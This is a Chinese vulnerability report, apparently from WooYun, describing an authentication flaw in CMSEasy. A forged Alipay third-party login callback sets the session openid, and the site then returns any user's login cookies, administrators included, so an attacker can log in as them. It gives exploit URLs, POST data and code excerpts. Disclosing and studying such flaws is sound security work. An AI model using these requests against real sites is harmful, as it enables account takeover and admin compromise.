### 简要描述:
cmseasy 全站用户cookie枚举伪造登录
### 详细说明:
此问题 比较棘手,原因出在openid上面
我们之前有分析过一个案例:
[WooYun: cmseasy 逻辑缺陷可升级普通用户为管理员(shell还会难吗)](http://www.wooyun.org/bugs/wooyun-2014-081934)
这里不赘述了,怎样去修改这个openid呢
我们发送url:
http://localhost:8080/cmseasy/uploads/index.php?case=user&act=respond&ologin_code=alipaylogin&user_id=2&real_name=test&token=xxxx
此时session里面openid已经为2
我们打印一下:
user_act.php:
```
include_once ROOT.'/lib/plugins/ologin/'.$classname.'.php';
$ologinobj = new $classname();
$status = $ologinobj->respond();
$where[$classname] = session::get('openid');
if(!$where[$classname]) front::redirect(url::create('user'));
$user = new user();
$data = $user->getrow($where);
var_dump(session::get('openid'));exit;
```
如图所示:
[<img src="https://images.seebug.org/upload/201502/0115504709831dbca055d60c6ed344164a7fbddd.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201502/0115504709831dbca055d60c6ed344164a7fbddd.png)
此时的 session 确实是我们设置的
分析一下这一段代码的逻辑:
```
include_once ROOT.'/lib/plugins/ologin/'.$classname.'.php';
$ologinobj = new $classname();
$status = $ologinobj->respond();
$where[$classname] = session::get('openid');
if(!$where[$classname]) front::redirect(url::create('user'));
$user = new user();
$data = $user->getrow($where);
//var_dump(session::get('openid'));exit;
if(!$data){
$this->view->data = $status;
}else{
cookie::set('login_username',$data['username']);
cookie::set('login_password',front::cookie_encode($data['password']));
session::set('username',$data['username']);
front::redirect(url::create('user'));
}
```
如果classname为alipaylogin,然后做一下sql查询
2015-02-01 15:40 SELECT * FROM `cmseasy_user` WHERE `alipaylogin`='2' ORDER BY 1 desc limit 1
这里的这个alipaylogin 结果是唯一的
下来查询到了,就把用户名和密码暴露到cookie里面,此时我们就可以拿到这个cookie伪造登录了
那么问题来了,我们看看数据结构
[<img src="https://images.seebug.org/upload/201502/01155419d79c347be1a0969d495f771d78f62ade.png" alt="2.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201502/01155419d79c347be1a0969d495f771d78f62ade.png)
发现这里是没有记录用户唯一性的第三方登录标志的id的
我们大胆猜想一下,如果用户采用第三方登录 或者第三方注册,那么这个alipaylogin 值会不会生成,而且永远不变呢
代码向上推 首先看注册的地方:
```
if(front::post('username') &&front::post('password')) {
$username=front::post('username');
$username=str_replace('\\', '', $username);
$password=md5(front::post('password'));
$data=array(
'username'=>$username,
'password'=>$password,
'groupid'=>101,
'userip'=>front::ip(),
$classname=>session::get('openid'),
);
if($this->_user->getrow(array('username'=>$username))) {
front::flash(lang('该用户名已被注册!'));
return;
}
```
发现了 这个位置当你采用第三方注册时候 这里就会生成alipaylogin 或者qqlogin的数值
而且经过我们的排查,这个值永远不变随着用户的注册之后,绑定了
我们在往下看第三方登录这里:
```
if (front::post('submit')) {
if (front::post('username') && front::post('password')) {
$username = front::post('username');
$password = md5(front::post('password'));
$data = array(
'username' => $username,
'password' => $password,
);
$user = new user();
$row = $user->getrow(array('username' => $data['username'], 'password' => $data['password']));
if (!is_array($row)) {
$this->login_false();
return;
}
$post[$classname] = session::get('openid');
```
发现了 正式用户刚才注册的然后在填写用户名密码进行登录
分析到这我们清楚了一个道理,如果用用户采用第三方去注册,那么我们是可以获取到这个用户的用户名和密码的cookie的
我们在看看正常的用户登录这里需要的cookie是否和我们刚才通过第三方拿到的cookie结构是否一样
```
function login_action() {
if(!$this->loginfalsemaxtimes())
if(front::post('submit')) {
if(config::get('verifycode')) {
if(!session::get('verify') ||front::post('verify')<>session::get('verify')) {
front::flash(lang('验证码错误!')."<a href=''>".lang('backuppage')."</a>");
return;
}
}
if(front::post('username') &&front::post('password')) {
$username=front::post('username');
$password=md5(front::post('password'));
$data=array(
'username'=>$username,
'password'=>$password,
);
$user=new user();
$user=$user->getrow(array('username'=>$data['username'],'password'=>$data['password']));
if(!is_array($user)) {
$this->login_false();
return;
}
$user=$data;
cookie::set('login_username',$user['username']);
cookie::set('login_password',front::cookie_encode($user['password']));
```
发现填写的cookie 和第三方要构造的 一模一样
下载 剩下的问题就是 ,如果所有权限的入口只是查了一下cookie里面的name和passwd,我们的分析就正确无误:
```
function init() {
$user='';
if(cookie::get('login_username') &&cookie::get('login_password')) {
$user=new user();
$user=$user->getrow(array('username'=>cookie::get('login_username')));
if(cookie::get('login_password')!=front::cookie_encode($user['password'])){
unset($user);
}
}
```
user_act里面的 符合我们刚才分析的,其他的我们就不看了,我们看一下管理员:
管理员这里比较bug,站点安装完成之后,管理员的 比如说alipaylogin 是空的
那么我们只要把openid设置为空就直接可以查看管理员cookie了
分析到此为止
我们来实际操作一下
第三方注册一个用户:
url:
http://localhost:8080/cmseasy/uploads/index.php?case=user&act=respond&ologin_code=alipaylogin
postdata:
regsubmit=xxx&username=test2&password=111111
我们怎么去获取test2用户cookie,并且伪造登录:
打印一下相关的数据:
```
$where[$classname] = session::get('openid');
if(!$where[$classname]) front::redirect(url::create('user'));
$user = new user();
$data = $user->getrow($where);
var_dump($data);
if(!$data){
$this->view->data = $status;
}else{
cookie::set('login_username',$data['username']);
cookie::set('login_password',front::cookie_encode($data['password']));
session::set('username',$data['username']);
var_dump($_SESSION);
var_dump($_COOKIE);
exit;
front::redirect(url::create('user'));
}
```
访问url:
http://localhost:8080/cmseasy/uploads/index.php?case=user&act=respond&ologin_code=alipaylogin&user_id=1&real_name=test&token=xxxx
我没有登录,获取到了这个的cookie:
[<img src="https://images.seebug.org/upload/201502/011621351038df59956a093a4b703d7c65801990.png" alt="3.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201502/011621351038df59956a093a4b703d7c65801990.png)
注释,由于我们alipaylogin.php,上下文查看没有可以影响到user_id的传递,本地没有搭建第三方
我们模拟了一下
```
//var_dump($alipayNotify);
$verify_result = $alipayNotify->verifyReturn();
//var_dump($verify_result);
if(true || $verify_result) {//验证成功
$user_id = front::$get['user_id'];
$token = front::$get['token'];
session::set('access_token',$token);
session::set("openid",$user_id);
```
第三方这里的恒等true 进入到设置session里面来 ,这个在之前的一个漏洞已经说明原因
分析到此为止
### 漏洞证明:
暂无评论